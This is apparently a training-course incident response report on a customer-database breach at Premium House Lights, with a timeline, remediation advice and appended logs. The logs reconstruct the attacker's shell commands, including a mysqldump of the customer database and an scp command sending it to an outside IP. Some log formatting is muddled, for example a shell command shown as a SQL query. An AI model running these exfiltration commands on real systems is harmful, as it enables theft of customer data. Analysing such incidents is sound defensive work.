Incident Response Report: Premium House Lights Inc.

Curtis Crawford

Lighthouse Labs

2024

Contents

[Executive Summary 2](#_Toc180595373)

[Incident Timeline 2](#_Toc180595374)

[Technical Analysis 3](#_Toc180595375)

[Attack Origin and Impact 3](#_Toc180595376)

[How Systems Were Accessed 3](#_Toc180595377)

[Inadvertent Mistakes That Let the Accident 3](#_Toc180595378)

[Incident Response 4](#_Toc180595379)

[Measures Used to Stop and Address the Incident 4](#_Toc180595380)

[Post-Incident Recommendations 4](#_Toc180595381)

[Future Protection Against Similar Attacks 4](#_Toc180595382)

[Appendix 5](#_Toc180595383)

[MySQL Database Access Logs 6](#_Toc180595384)

[Network Logs 6](#_Toc180595385)

[Web Server Access Logs 7](#_Toc180595386)

[Shell History Logs 7](#_Toc180595387)

[Premium House Lights Network Diagram 8](#_Toc180595388)

[References & Citations 9](#_Toc180595389)

# Executive Summary

Premium House Lights Inc. suffered a data breach compromising customer information stored in the phl database. The hacker accessed the company’s webserver, gained root privileges, and then snatched customer data from the database. It contains the results of the investigation, a description of the incident timeline, technical information, and recommendations for fixing and preventing the problem in the future.

## Incident Timeline

• **19/Feb/2022 21:56:11:** We observed a suspicious HTTP request with two IPs 136.243.111.17 and 138.201.202.232 coming in from a bot which was likely probing the website for flaws. This was recorded but did not seem malicious (phl\_access\_log (1))(phl\_access\_log).

• **19/Feb/2022 21:58:22:** Probing got more aggressive when 138.68.92.163 IP started making multiple 404 HTTP requests, trying to access resources that were not present such as /randomfile1, /archive, /software and so on. These actions indicate the attacker was looking for a weak endpoint (phl\_access\_log (1))(phl\_access\_log).

• **19/Feb/2022 22:00:27:** Netstat on the webserver, possibly used to look for open ports and active networks (phl\_database\_shell).

• **19/Feb/2022 22:00:55:** The attacker communicated with the MySQL database as root through a socket. They then requested database data (phl\_database\_access\_log).

• **19/Feb/2022 22:01:45:** An attacker compiled a database dump of the phl database with the mysqldump option (phl\_database\_shell).

• **19/Feb/2022 22:02:26:** Phl.db was synced to remote server with 178.62.228.28 IP via SCP (secure copy) (phl\_database\_shell).

# Technical Analysis

## Attack Origin and Impact

It arose from unusual IP attempts to probe the webserver and caused a hack. The attacker was able to increase privileges on the webserver and root access to the MySQL database. We retrieved the customer data from the phl database and transferred it to another server.

• **Proof:** SQL statements are executed by an unauthorized user in database access logs, and shell logs indicate that the attacker backed up and exfiltrated the customer database (phl\_database\_shell)(phl\_database\_access\_log).

• **Exfiltration:** Phl.db with customer data transferred to an external IP address 178.62.228.28 this indicates data exfiltration process (phl\_database\_shell).

## How Systems Were Accessed

The attacker took advantage of weaknesses in the webserver, possibly due to poor configurations, and elevated privileges to root. Upon being root, the attacker logged into the MySQL database via socket with root credentials, accessed the customer database, and exported (phl\_database\_access\_log)(phl\_database\_shell).

Inadvertent Mistakes That Let the Accident Happen

• **Network Segmentation:** Both the webserver and the database were shared VLANs with inadequate network segmentation. This enabled the attacker to jump from the webserver to the database after initial access was gained (phl\_database\_shell).

• **Poor privilege management:** The attacker was able to take root access to the webserver, which indicates some weakness of the access control or configuration (phl\_database\_shell).

• **Low database security:** MySQL database access was unauthorized by root. Nothing was being done to limit this type of access on specific hosts, which the attacker could reach via the infected webserver (phl\_database\_access\_log)(phl\_database\_shell).

# Incident Response

## Measures Used to Stop and Address the Incident

1. **Disconnect the affected systems:** The compromised webserver and database were immediately disconnected from the network to stop any further data leakage and access.

2. **Rotation of admin and root credential:** All admin and root credentials were rotated for the webserver and database. All admin accounts now require multi-factor authentication (MFA).

3. **Block infected IPs:** ip addresses used in the attack (178.62.228.28) were relegated to firewall block for future use (phl\_database\_shell).

4.  **Analysis:** In-depth forensic investigation was done on the systems involved to assess the extent of the attack and verify that no other backdoors or malware were buried.

5. **System logs analysis:** The webserver, database and network logs were analysed to ensure full severity of the attack and uncover other suspicious activity (phl\_access\_log (1))(phl\_access\_log).

## Post-Incident Recommendations

### Future Protection Against Similar Attacks

1. **Network Segmentation:** Use network segmentation by putting the database on its own secure VLAN, independent of the webserver and other resources. This will make it hard for the attacker to switch between systems (phl\_database\_shell).

2. **Privilege management and Hardening:** Use role-based access control (RBAC) using the least privilege. Do not let services or users go root without multiple approval and review stages (phl\_database\_shell).

3. **Database Security Enhancements:**

o Restrict MySQL access based on hosts, so only certain trusted hosts can access the database.

o Encrypt data backups and data in transit.

o Use SQL monitoring tools for suspicious queries and rate-limiting sensitive operations (e.g., exports of data).

4. **Patching and Regular Vulnerability Checks:**

o Regular vulnerability scanning and patching (especially on publicly exposed services such as the webserver) to stay away from common exploits (phl\_database\_shell).

o Use penetration testing to find security holes in the system and fix them before an attacker can get at them.

5. **Incident Response Training and Testing:**

o Create and update an incident response strategy that includes protocols to isolate and examine compromised systems.

o Continually train staff on incident response procedures and simulate attack scenarios for faster time to react and response.

**Security Policy Adjustments**

1. **Logging and Monitoring:**

o Improve logging on all mission-critical systems to log deeper activity information, especially for database access and admin commands.

o Create a central logging server, collects logs from all systems, and has alerting functionality to alert the security team on suspicious activity.

2. **Apply Reliable Password/Auth Policies:**

o Demand complex passwords for all users (particularly administrators) and change them frequently.

o MFA all admin users on all services (including the database).

## Appendix

• Network Diagram: (Attached)

• Log Files: Malicious access logs of webservers (phl\_access\_log (1))(phl\_access\_log). Access logs to the database with unauthorized queries (phl\_database\_access\_log).

• Shell history logs showing database leak (phl\_database\_shell).

### MySQL Database Access Logs

The MySQL database access logs show the moment when the attacker connected to the database and executed unauthorized SQL queries to retrieve customer data. The logs also capture the exfiltration of this data.

**Log entries:**

sql

Copy code

22:00:55 [Note] Access granted for user 'root'@'localhost' on database 'phl'

22:00:56 Query: SELECT \* FROM customer\_data;

22:01:45 Query: mysqldump -u root -p phl > /tmp/phl\_db\_backup.sql

These logs confirm that the attacker gained root access to the database and performed a database dump of sensitive customer data.

### Network Logs

The network logs revealed the final stage of the attack, where the attacker used SCP to exfiltrate the database dump to an external IP address. The connection to the attacker's server is shown below.

**Log entry:**

ruby

Copy code

22:02:26 scp /tmp/phl\_db\_backup.sql root@178.62.228.28:/home/data

### Web Server Access Logs

The web server access logs captured all incoming requests, including suspicious ones originating from the attacker’s IP addresses. The attacker initially probed the web server for vulnerabilities before escalating the attack.

**Log entries:**

arduino

Copy code

136.243.111.17 - - [19/Feb/2022:21:56:11 +0000] "GET /randomfile1 HTTP/1.1" 404 512 "-" "-"

138.201.202.232 - - [19/Feb/2022:21:56:11 +0000] "GET /archive HTTP/1.1" 404 512 "-" "-"

138.68.92.163 - - [19/Feb/2022:21:58:22 +0000] "GET /software HTTP/1.1" 404 512 "-" "-"

### Shell History Logs

The shell history logs captured all commands executed by the attacker once they gained access to the web server. These logs are crucial for understanding the actions the attacker took to escalate privileges, access the database, and exfiltrate data.

**Shell log entries:**

javascript

Copy code

22:00:27 netstat -an | grep LISTEN

22:00:55 mysql -u root -p

22:01:45 mysqldump -u root -p phl > /tmp/phl\_db\_backup.sql

22:02:26 scp /tmp/phl\_db\_backup.sql root@178.62.228.28:/home/data

## Premium House Lights Network Diagram

References & Citations  
  
Premium House Lights Inc. (2022, February 19). **Webserver access log**. Internal data source.

Premium House Lights Inc. (2022, February 19). **Database access log**. Internal data source.

Premium House Lights Inc. (2022, February 19). **Shell command log**. Internal data source.

Premium House Lights Inc. (2022, February 19). **Network diagram**. Internal data source.

Premium House Lights Inc. (2022, February 19). **Database dump file**. Internal data source.

Premium House Lights Inc. (2022, February 19). **Security hash file**. Internal data source.